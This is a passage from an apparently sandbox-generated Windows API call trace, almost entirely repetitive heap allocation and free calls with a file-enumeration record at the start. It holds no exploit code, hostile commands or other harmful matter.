ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x93e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SXB8IlVATC g7CApR0.avi", cAlternateFileName="SXB8IL~1.AVI")) returned 0 [0114.598] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.599] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16800 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16748 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16a28 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da218 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a617c0 | out: hHeap=0x5010000) returned 1 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0114.599] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.604] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: 